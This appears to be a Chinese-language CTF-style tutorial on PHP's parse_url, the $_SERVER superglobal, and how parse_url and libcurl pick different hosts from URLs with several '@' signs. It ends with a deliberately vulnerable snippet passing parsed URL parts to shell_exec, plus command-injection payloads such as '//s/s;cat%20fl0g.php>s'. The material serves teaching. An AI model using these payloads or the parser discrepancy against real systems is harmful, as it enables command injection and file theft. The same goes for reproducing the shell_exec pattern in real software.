前提
url的构成
scheme://username:password@host:port/path?query#fragment
先上官方解释
parse_url — 解析 URL,返回其组成部分
本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。
本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析
这种学习函数,还是要自己起个dome学习一下的
<?php
$url='http://username:password@domain.tld/path/to/file.txt';
$a=parse_url($url);
var_dump($a);
//array(5) {
'scheme' =>
string(4) "http"
'host' =>
string(10) "domain.tld"
'user' =>
string(8) "username"
'pass' =>
string(8) "password"
'path' =>
string(17) "/path/to/file.txt"
}
再看一个
<?php
$url='//upload/ss';
$a=parse_url($url);
var_dump($a);
//array(2) {
'host' =>
string(6) "upload"
'path' =>
string(3) "/ss"
}
<?php
$url='//upload?ss';
$a=parse_url($url);
var_dump($a);
//array(2) {
'host' =>
string(6) "upload"
'query' =>
string(2) "ss"
}
//array(2) {
'host' =>
string(6) "upload"
'query' =>
string(2) "ss"
}
可以看到他的解析情况
其中,如果path部分为///,就会造成解析错误
<?php
$url='///upload?ss';
$a=parse_url($url);
var_dump($a);
//bool(false)
parse_url一般会用来解析$SERVER变量
解释一下什么是$SERVER变量
在 Web 开发中,$_SERVER 是一个 PHP 超全局变量,它包含了服务器和执行环境的信息,具体来说,$_SERVER 是一个关联数组,其中存储了有关当前请求、脚本执行环境和服务器的各种信息。
$_SERVER 变量的内容是由 Web 服务器(如 Apache 或 Nginx)以及 PHP 解释器提供的,这些信息通常用于处理请求、获取客户端信息、了解请求的环境等
常见的 $_SERVER
数组中的元素
以下是一些 $_SERVER
中常用的键:
1. $_SERVER['HTTP_USER_AGENT']
这个值包含了发送请求的客户端(浏览器)的用户代理字符串,它告诉你客户端的浏览器、操作系统和其他一些信息
echo $_SERVER['HTTP_USER_AGENT']; // 输出客户端的浏览器信息,如:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
2. $_SERVER['REQUEST_METHOD']
此项返回请求方法,通常是 GET
、POST
、PUT
、DELETE
等。它告诉你客户端请求数据时使用的 HTTP 方法
echo $_SERVER['REQUEST_METHOD']; // 输出:GET 或 POST
3. $_SERVER['SERVER_NAME']
这个变量包含了当前请求的服务器主机名或 IP 地址,通常是通过 Host
HTTP 请求头提供的
echo $_SERVER['SERVER_NAME']; // 输出:www.example.com
4. $_SERVER['SERVER_ADDR']
这是服务器的 IP 地址。如果你的服务器有多个网络接口,可能会有多个 IP 地址
echo $_SERVER['SERVER_ADDR']; // 输出服务器的 IP 地址
5. $_SERVER['DOCUMENT_ROOT']
此项包含了当前 Web 根目录的绝对路径。例如,如果你在服务器上访问 http://www.example.com/index.php
,这个变量可能指向类似 /var/www/html
这样的路径
echo $_SERVER['DOCUMENT_ROOT']; // 输出服务器的根目录路径
6. $_SERVER['REQUEST_URI']
这个变量包含了请求的 URI(Uniform Resource Identifier),即客户端请求的完整路径(不包括域名部分)
echo $_SERVER['REQUEST_URI']; // 输出:/index.php?name=JohnDoe
7. $_SERVER['SERVER_PROTOCOL']
它包含了请求使用的协议版本,通常是 HTTP/1.1
或 HTTP/2
echo $_SERVER['SERVER_PROTOCOL']; // 输出:HTTP/1.1
8. $_SERVER['REMOTE_ADDR']
这个变量包含了客户端的 IP 地址,它是客户端发送请求时的 IP 地址。通常用于记录访问者信息或者防止恶意请求
echo $_SERVER['REMOTE_ADDR']; // 输出客户端的 IP 地址
9. $_SERVER['QUERY_STRING']
它包含了请求的查询字符串(即 URL 中 ?
后面的部分)
echo $_SERVER['QUERY_STRING']; // 输出:name=JohnDoe&age=30
10. $_SERVER['HTTP_REFERER']
它包含了当前请求的来源地址(即上一页面的 URL)。这个变量很有用,可以用来追踪用户从哪个页面链接到当前页面
echo $_SERVER['HTTP_REFERER']; // 输出来源页面的 URL
11. $_SERVER['SCRIPT_FILENAME']
它包含了当前脚本的绝对路径和文件名
echo $_SERVER['SCRIPT_FILENAME']; // 输出:/var/www/html/index.php
12. $_SERVER['REQUEST_TIME']
这个变量返回当前请求开始时的时间戳(Unix 时间戳格式),即服务器接收到请求时的时间
echo $_SERVER['REQUEST_TIME']; // 输出:Unix 时间戳
其中curl和parse_url解析不一致:
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
如:
http://u:p@a.com:80@b.com/
php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
简单的题目
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}
命令注入
?url=//s/s;ls>s
?url=//s/s;cat%20fl0g.php>s
放到本地解析看看即可懂了
<?php
$url='//s/s;ls>s';
$a=parse_url($url);
var_dump($a);
#
array(2) {
'host' =>
string(1) "s"
'path' =>
string(7) "/s;ls>s"
}